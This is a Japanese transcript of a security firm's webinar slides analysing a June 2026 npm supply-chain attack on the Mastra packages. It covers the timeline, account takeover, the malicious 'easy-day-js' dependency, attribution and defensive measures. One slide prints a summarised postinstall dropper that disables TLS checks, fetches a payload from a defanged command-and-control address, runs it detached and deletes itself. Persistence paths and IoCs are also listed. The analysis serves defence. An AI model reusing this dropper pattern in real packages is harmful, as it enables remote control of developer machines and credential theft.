Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Mastra ソフトウェアサプライチェーン攻撃の概要と対応指針

Mastra ソフトウェアサプライチェーン攻撃の概要と対応指針

弊社ウェビナー ( https://flatt.tech/takumi/event/mastra-202606 ) におけるCTO米内の講演資料です。

Avatar for GMO Flatt Security

GMO Flatt Security

June 26, 2026

More Decks by GMO Flatt Security

Transcript

  1. 米内 貴志(よねうち たかし) 仕事&趣味: ものづくりを安全にすること 2019年〜 Flatt Security('21〜 CTO) 著書『Web

    ブラウザセキュリティ』等 セキュリティ・キャンプ '12 参加, '18-'24 スタッフ等 未踏ターゲット '21 / Quantum-Classical Programming Language ICC '23 アジア代表 / Head Captain CODE BLUE レビューボード '24-'25 自己紹介 © GMO Flatt Security Inc. All Rights Reserved. 2 / 38
  2. Mastra 侵害の概要とタイムライン キーワード: @mastra、easy-day-js、postinstall、RAT 侵害の流れと詳細 キーワード: アカウント乗っ取り、依存注入、二段ペイロード、永続化 アトリビューション キーワード: Sapphire

    Sleet、Axios 侵害、ソーシャルエンジニアリング 攻撃技術の進展 キーワード: 公開順序、検知回避、eBPF ルートキット、自己増殖 自組織のソフトウェアサプライチェーン強化に向けて キーワード: インストール制御、依存固定、キュレーション、サンドボックス 01 02 03 04 05 今日話すこと © GMO Flatt Security Inc. All Rights Reserved. 4 / 38
  3. AIエージェント開発フレームワーク Mastra の npm パッケージ群が侵害された @mastra/* の 141 パッケージ超が、悪性依存を付与されて再公開された Mastra

    は TypeScript 製の AI エージェント開発フレームワークであり、npm で広く配布されている 攻撃者はライブラリ本体のコードを書き換えず、package.json に悪性依存 easy-day-js を追記した @mastra/core 、mastra 、create-mastra を含む中核パッケージが対象となった 悪性依存が postinstall 経由で RAT を導入するため、npm install するだけで端末が侵害された Mastra 侵害の概要 © GMO Flatt Security Inc. All Rights Reserved. 6 / 38
  4. 準備は前日から進み、再公開からテイクダウンまでは約 5 時間で推移した 6/16 16:05 JST easy-day-js 1.11.21 公開 6/17

    10:01 JST 1.11.22 で悪性化 6/17 10:12〜11:36 @mastra 再公開 6/17 10:39 JST #18045 で報告 6/17 〜15:50 JST npm 上から除去 攻撃者はまず無害な [email protected] を公開し、翌朝に悪性版 1.11.22 を重ねた @mastra/* の再公開が始まってから約 30 分で、コミュニティが mastra-ai/mastra#18045 で侵害を報告した npm 上からの除去まで最大約 5 時間あり、その窓の間にインストールした環境が影響を受けた 出典: mastra-ai/mastra#18045 Mastra 侵害のタイムライン © GMO Flatt Security Inc. All Rights Reserved. 7 / 38
  5. アカウント乗っ取りから依存注入を経て、利用者端末の侵害に至る、いつものパターン Step 1 npm アカウント 乗っ取り Step 2–3 悪性依存の 注入と再公開

    Step 4–6 利用者端末での 実行と永続化 入口はアカウント乗っ取り。攻撃者は正規コントリビュータの権限を奪取した 次は依存注入。攻撃者は package.json に悪性依存を足して再公開した 最後は利用者端末での実行と永続化。他検体は通常シンプルな Infostealer だが、やや高度な RAT が用いられた 攻撃チェーンの全体像 © GMO Flatt Security Inc. All Rights Reserved. 10 / 38
  6. ソーシャルエンジニアリング経由(後述)で正規コントリビュータの権限が奪取された ehindero は Mastra への正規コントリビュータであり、@mastra/* の公開権限を持っていた 攻撃者はこの権限を奪取した 侵害の入口は LinkedIn 経由のソーシャルエンジニアリング(#18061

    より) NPM_TOKEN が端末から奪取された npm 組織で MFA は必須化していたが、トークンからの公開でバイパスを許可する設定が残っていたため、悪用可であった アカウントのメールアドレスも @tutamail.com に変更された(時刻不明) ehindero 当人に気づかれにくいように、であると想像される Step 1: npm アカウント乗っ取り © GMO Flatt Security Inc. All Rights Reserved. 11 / 38
  7. 1.11.21 は正規パッケージ dayjs のコピー。翌朝の 1.11.22 で postinstall と難読化 setup.cjs が加わった

    6月16日に sergey2016 が [email protected] を公開した。中身は dayjs の clean なコピーであった 6月17日に同アカウントが 1.11.22 を公開し、postinstall hook と難読化された setup.cjs を追加した 先に無害版を置くことで、目視レビューや自動検査をすり抜けやすくする狙いと見られる(後述) Step 2: 悪性依存の準備 © GMO Flatt Security Inc. All Rights Reserved. 12 / 38
  8. 攻撃対象パッケージ(mastra , @mastra/* )の package.json に悪性依存が追記された { "name": "@mastra/core", "version":

    "...", "dependencies": { "easy-day-js": "^1.11.21" } } tarball 内の package.json だけが書き換えられており、他は差分なし caret range ^1.11.21 はインストール時に最新の 1.11.22 を引き込む形となった Step 3: 攻撃対象パッケージへの悪性依存の注入 © GMO Flatt Security Inc. All Rights Reserved. 13 / 38
  9. postinstall script から起動した setup.cjs が dropper(本命のマルウェアを落としてくる起点)として動作した // マルウェアコードの要約: process.env.NODE_TLS_REJECT_UNAUTHORIZED =

    '0'; const out = path.join(os.homedir(), randomHex(12) + '.js'); download('hxxp://23[.]254[.]164[.]92:8000/update/49890878', out); spawn('node', [out, '23[.]254[.]164[.]123:443'], { detached: true }); fs.unlinkSync(__filename); // self-delete NODE_TLS_REJECT_UNAUTHORIZED='0' で TLS 証明書検証を無効化している C2 23[.]254[.]164[.]92:8000 から本体を取得し、ホームディレクトリ直下にランダム hex 名で保存する detached プロセスで本体を起動し、C2 アドレスを引数で渡したのち setup.cjs を自己削除する 最近の検体では、バックグラウンド実行もある程度おなじみになってきた(最初は同期実行も多かったが) Step 4: Stage-1 dropper © GMO Flatt Security Inc. All Rights Reserved. 14 / 38
  10. second-stage はホスト情報を C2 に送り、HTTPS ビーコンで指示を待つ RAT である 起動時にホスト情報を収集し、C2 23[.]254[.]164[.]123:443 へ

    HTTPS POST で送信する C2 からのビーコンに応じて、任意コマンドを実行する遠隔操作機能を備える 侵害端末内に存在した情報、あるいは侵害端末からアクセスできた情報は、一通り攻撃にさらされたと想定すべき Step 5: Stage-2 RAT © GMO Flatt Security Inc. All Rights Reserved. 15 / 38
  11. 調査と復旧では、これらの痕跡を起点に確認する OS毎に個別の永続化の仕組みを持ち、再起動後も常駐を維持する ファイルパス(Linux の場合) 役割 ~/.config/systemd/user/nvmconf.service systemd user service。ログイン時に protocal.cjs

    を起動する ~/.config/systemd/nvmconf/protocal.cjs 常駐ペイロード本体。C2 通信と遠隔実行を担う ~/.config/NodePackages/config.json RAT の設定値を保持する ~/.pkg_history / ~/.pkg_logs 感染済みを示すマーカーとして使われる いかにも Benign らしいファイル名で永続化(Linux の場合は systemd 経由)がなされる インシデントレスポンスでは、 (初期化が難しい場合、 )永続化サービスの停止も必要である Step 6: 永続化 © GMO Flatt Security Inc. All Rights Reserved. 16 / 38
  12. Microsoft は本件を Sapphire Sleet(BlueNoroff / APT38)に帰属。私もこの仮説を支持。 観点 Axios 侵害(2026-03) Mastra

    侵害(2026-06) 供給者側 侵害の起点 ソーシャルエンジニアリング ソーシャルエンジニアリング 供給者側 侵害の手法 悪性依存 plain-crypto-js を package.json に追加 悪性依存 easy-day-js を package.json に追加 利用者側 初期侵入の手口 postinstall → TLS 無効化 → detached spawn → 自己削除 postinstall → TLS 無効化 → detached spawn → 自己削除 利用者側 初期侵入後の行動 暗号通貨ウォレット拡張の探索、 認証情報の窃取 暗号通貨ウォレット拡張の探索、 認証情報の窃取 C2 インフラ Hostwinds VPS 142.11.206.73:8000 Hostwinds VPS 23[.]254[.]164[.]92:8000 Sapphire Sleet は暗号資産の窃取を主目的とする北朝鮮の脅威アクター 同じく同アクターに帰属されている Axios 侵害とは TTPs が類似している 出典: Microsoft Security Blog (2026-06-17) Mastra 侵害は脅威アクタ「Sapphire Sleet」によるもの? © GMO Flatt Security Inc. All Rights Reserved. 18 / 38
  13. 金融・暗号資産・ブロックチェーン領域を主たる標的とする、北朝鮮系脅威アクター(のラベル) 北朝鮮に関連する、国家支援型のアクター 「Sapphire Sleet」は Microsoft が追跡のために命名した名前 他ベンダーでは BlueNoroff / UNC1069

    などとも呼ばれている Microsoft は少なくとも 2020 年から活動を観測している、としている LinkedIn 等の SNS を経由したソーシャルエンジニアリングによる誘引が典型的 一般に、北朝鮮は暗号資産に対するモチベーションが強く、直近も複数インシデントを発生させている 26年4月 Drift Protocol の侵害($285M規模、UNC4736 に帰属されている) 26年6月 Humanity Protocolの侵害($36M規模、来た調整系アクタと帰属される) 26年開催 G7(フランス・エヴィアン)でも、暗号資産窃盗・サイバー犯罪についての対処の必要性が強調された 出典: Microsoft Security Blog (2026-06-17) Sapphire Sleet(BlueNoroff / UNC1069) © GMO Flatt Security Inc. All Rights Reserved. 19 / 38
  14. 複数点において類似が見られる。引き続きOSSメンテナが攻撃対象となっている点に留意が必要 段階 Axios メンテナの証言 Mastra の報告 接触 企業創業者を騙る LinkedIn アカウントが接触した

    侵害された LinkedIn アカウントから 複数の TS OSS メンテナに接触した 信頼構築 企業 CI を模した Slack workspace を用意し、 偽のチームプロフィールや LinkedIn 投稿で 正当性を演出した (詳細は非開示) RAT 投入 MS Teams 会議中に「システムが古い」と 表示し、偽の更新をインストールさせた 通話中に不審なリンクをクリックさせ、 端末を侵害した 結果 npm トークンが窃取され、 Axios パッケージが再公開された npm トークンが窃取され、 141+ の @mastra パッケージが再公開された 入口はソーシャルエンジニアリングで、決め手は ClickFix 的手法といえる UNC1069 (≒Spphire Sleet)は過去 Deepfake を使っていたとも報告されている(GTIF) 。本気度が高い Contagious Interview(別アクタ)の動向も踏まえるに、開発者が狙われるリスクを十分高く捉えなくてはならない 出典: mastra-ai/mastra#18061, axios/axios#10636, GTIG Report 注目: 供給者側の侵害の手口 © GMO Flatt Security Inc. All Rights Reserved. 20 / 38
  15. Mastra 侵害の約1ヶ月前から、同じ C2 を使うパッケージが公開されていた。何かしらの実験? パッケージ 公開日 公開者 備考 @iconifi/react 2026-05-19

    [email protected] @iconify/react の typosquat tiny-naturalsort 2026-05-27 同上 汎用ユーティリティを装う easy-day-js 2026-06-16 [email protected] dayjs の typosquat 3パッケージとも同一の C2 インフラに接続する挙動が確認されている いずれも @tutamail.com のメールで登録されたアカウントから公開されている 検知を志す側は、一定覚えておくべき特徴かもしれない 推測になるが、検知回避やペイロード配信の実験だった可能性がある 最近は弊社(Takumi/GMO Flatt Security)や Socket、Step Security、Aikido など各ベンダが監視を強めている この環境を踏まえ、攻撃者側もやや慎重になっていると見える 特に一部ベンダはブロックリストの公開もしているが、我々は、 「様子」を見られている可能性を加味すべきである 注目: 同一 C2 インフラを共有する先行パッケージの存在 © GMO Flatt Security Inc. All Rights Reserved. 21 / 38
  16. Mastra 事案では easy-day-js の公開順序が検知の難易度を左右した。今回はラッキーだったように思う 6/16 16:05 JST easy-day-js 1.11.21(無害) ──

    約 18 時間 ── 6/17 10:01 JST 1.11.22(悪性) 公開 6/17 10:12〜 @mastra 再公開 ^1.11.21 で参照 @mastra/* の package.json には "easy-day-js": "^1.11.21" が追加された 仮に @mastra/* の再公開が先、easy-day-js の悪性版の公開が後であれば、いかにも平穏な依存追加だった(!) その場合、mastra 側の改ざんの検知シグナルが一個減っていたことになる(!) Trusted Publishing の非利用や、author メールアドレスの変更など、怪しい部分はいくつかあれど… 大元の easy-day-js は明らかに怪しい挙動をするので、1.11.22 が確実にブロックできてればOKだった、とは言えど… 各社検知パイプラインも万能ではないので、この少しの挙動により、検知を嫌に抜ける事態を招いたかも (なので、私はこれを、実は攻撃者のオペレーションミスじゃないか?と少し疑っている) パッケージ公開順序による検知回避 © GMO Flatt Security Inc. All Rights Reserved. 23 / 38
  17. Rust バイナリ + eBPF ルートキット + Tor C2 を一体化し、検知と解析の両方を妨害する Rust

    リリースビルド + 文字列暗号化 + UPX 改ざんで静的解析も妨害する eBPF rootkit を含み、procfs アクセスや ptrace などを動的にも妨害する このような検知回避・検知妨害の仕組みが入ったサプライチェーンマルウェア検体も増加している 出典: JFrog Security Research "IronWorm: Shai-Hulud's Rustier Cousin" 他の事例 - IronWorm(eBPF ルートキットを備えた npm ワーム) © GMO Flatt Security Inc. All Rights Reserved. 24 / 38
  18. 端末上には credentials が広く散在。これを極力減らしたい(が…) 端末内の重要な認証情報は、短期発行系(aws sso ... )に寄せる 必要なときにだけ HITL で権限を与え、不要になったら破棄する

    これができないものは、ローテーション運用を検討する ローカルファイルとしても置かず、シークレットの in-memory 管理に寄せる プロセスレベルでシークレットの Exposure を縮められると吉 Infisical のようなソリューションも出てきている infisical run -- npm install some-package でも… たとえば gh コマンドを捨てたくはないが、セッションめっちゃ持つわけで… 開発者だってブラウザ使うし、Slack 見るわけで… シェルの履歴だとかは何だかんだ貴重。wipe しにくい。困ったね… 例1-1: 端末上のシークレット散在を最小化する © GMO Flatt Security Inc. All Rights Reserved. 27 / 38
  19. # Bad: ホスト全権で実行 $ npm install some-package # Good 1:

    fence で軽量 sandbox (Use-Tusk/fence ) $ fence -t code npm install some-package # Good 2: Docker コンテナ内で実行 $ docker run --rm -v "$PWD":/work -w /work node:20 \ npm install some-package # Good 3: devcontainers で開発環境全体を分離 $ devcontainer exec --workspace-folder . npm install some-package コンテナやライトな sandbox 技術で、侵害時のアクセス可能範囲を限定するのは、強力な選択肢である 今回のような RAT は端末の credentials を広く探索するため、隔離が被害の上限を下げる 勿論パフォーマンスや自由とのトレードオフはある。全てを devcontainers に詰めるのは面倒でもある コード書く時間が圧縮できるAI時代においては、許容すべきコストにはなってきたと思う 例1-2: 開発作業を端末サンドボックスに隔離する © GMO Flatt Security Inc. All Rights Reserved. 28 / 38
  20. Exploit が起きた時に気づける・調査や管理できる状態を、平時から作っておく 早く気づく、調査できるようにする、は影響最小化の重要ピース 法人だと EDR/MDM は標準的になってきている ちゃんとテレメトリは取れるし管理が効く 今回の C2 通信や

    systemd 永続化も、痕跡として追える staging/production 環境のランタイムにもラフな監視がありがち GuardDuty なども、割と既知 C2 への通信を怒ってくれる このあたりはベスプラとして啓蒙され、導入傾向である ただ Actions 等、CI/CD 環境はまだ管理が薄い傾向にある マネージド GitHub Actions では特にテレメトリが取りづらい 結果として侵害の防止・侵害時調査が困難な傾向である このような手薄いエンドポイントを強化していきたい # 宣伝: eBPF でトレースが取れます # https://flatt.tech/takumi/features/runner runs-on: takumi-runner steps: - run: npm ci && npm run build 例1-3: CI/CD・端末のテレメトリ取得・監視 © GMO Flatt Security Inc. All Rights Reserved. 29 / 38
  21. 大きな侵害は結構誰かが気づいてくれる。これに頼って最新版をインストールしないのはあり # npm v11+ / .npmrc min-release-age=7 # uv (Python)

    uv add --exclude-newer "7 days" <pkg-name> インストールをちょっと待てば、今回の事案も引き込まずに済んだ可能性が高い [email protected] は公開から数時間、@mastra/* の再公開も約 5 時間で削除されている このような「ちょっと待つ」戦略を Dependency Cooldown と呼ぶ npm v12 からはデフォルトで1日のCooldown periodが! パッケージマネージャを更新しておきましょう なお数日待てば全て安全とは限らない。長期間潜伏する検体は普通にある… あくまで万能ではないし、多層防御の 1 層として扱うと吉 例2-1: 公開直後のバージョンを避ける © GMO Flatt Security Inc. All Rights Reserved. 30 / 38
  22. preinstall / postinstall の自動実行を原則無効化しておけば、一つアタックベクタは減る # オプション指定で止められる npm install --ignore-scripts #

    pnpm v10+ は lifecycle script をデフォルトでブロック pnpm install 今回の Mastra 事案では、easy-day-js の postinstall が侵害の起点であった npm v12 からはデフォルトで自動実行がオフに! パッケージマネージャを更新しておきましょう ただし、以下の点はまだ辛いので、地道に頑張る必要がある エコシステム・パッケージマネージャ(やそのバージョン)ごとに挙動にブレがある。あるいはできない そもそも正当な Lifecycle script もあり、止めることで動かないものもある(バインディング系のパッケージなど) Lifecycle script は高々1つの攻撃経路であり、普通にパッケージ内にマルウェア混入する場合もある 例2-2: install 時の自動コード実行を止める © GMO Flatt Security Inc. All Rights Reserved. 31 / 38
  23. caret range や latest ではなく、lockfile やハッシュによる固定参照に依存する # npm: lockfile から再現性を担保

    npm ci # pip: ハッシュ検証付きインストール pip install --require-hashes -r requirements.txt # GitHub Actions: SHA pinning (mutable タグを使わない) - uses: actions/[email protected] # v4.2.2 今回は @mastra/* の caret range ^1.11.21 が、悪性 [email protected] を自動で引き込んだ lockfile での固定や exact pin があれば、未検証の新規バージョンの混入を抑えられる 改ざんを検知できる reference にだけ依存する。SHA・hash・provenance attestation を組み合わせる 自動化には pinact のようなツールが現実的 例2-3: immutable reference への依存を徹底する © GMO Flatt Security Inc. All Rights Reserved. 32 / 38
  24. 公式レジストリ直アクセスではなく、悪性パッケージを検査・遮断するプロキシ層を挟む # npm $ npm config set registry https://npm.flatt.tech/ #

    pip $ pip config set global.index-url https://pypi.flatt.tech/simple/ # bundler (RubyGems) $ bundle config set --global mirror.https://rubygems.org https://rubygems.flatt.tech/ レジストリと自社の間にキュレーションを行う層を挟むことで、悪性パッケージを到達前に止める 1 コマンドで導入できる例として、弊社の Takumi Guard(無料)等がある Cooldown と組み合わせれば、検疫期間中の検査結果を反映する形で防御層が厚くなる 例2-4: キュレーション層を経由する © GMO Flatt Security Inc. All Rights Reserved. 33 / 38
  25. 今後に備え、クライアントレベルの設定からはじめやすい組織的ソリューションまで、防御を重ねていただきたい Mastra 事案と同じ構造のインシデントは、今後も継続して発生すると予想される 最近の特徴として、攻撃側も検知回避の手口を進化させており、防御側とのいたちごっこは続いている セキュリティは薄皮の重ねがけが基本 --ignore-scripts や lockfile 固定といったクライアントレベルの設定は是非個人レベルから励行いただきたい エコシステム側の変化(dependency

    cooldown のデフォルト化など)も進む。ぜひ追従いただきたい 弊社提供の Takumi Guard も、マルウェアを防ぐのに一役立てるので、ご活用いただきたい(無料版有) 是非組織的にも、ソフトウェアサプライチェーン攻撃への理解度を深め、防御を強化していただきたい 本日紹介した対策を、出来るところから一つでも進めていただければ幸いである さいごに © GMO Flatt Security Inc. All Rights Reserved. 36 / 38
  26. 種別 値 用途 C2 23[.]254[.]164[.]92:8000 23[.]254[.]164[.]123:443 second-stage 配布とビーコン キャンペーン ID

    /update/49890878 配布パスに含まれる識別子 ファイルパス $TMPDIR/.pkg_history $TMPDIR/.pkg_logs ~/.config/systemd/user/nvmconf.service ~/.config/systemd/nvmconf/protocal.cjs 感染マーカーと永続化ファイル SHA-256 (setup.cjs) b122a9873bedf145ae2a7fd024b5f309 007dbb025149f4dc4ac3f7e4f32a36a4 Stage 1 ダウンローダ SHA-256 (package.json) c38954e85bf5433e61e7c8f423033669 5624ae88b6953afabf7bf817aa91b638 悪性依存を含む package.json Appendix: IoCs(侵害の痕跡となる情報) © GMO Flatt Security Inc. All Rights Reserved. 38 / 38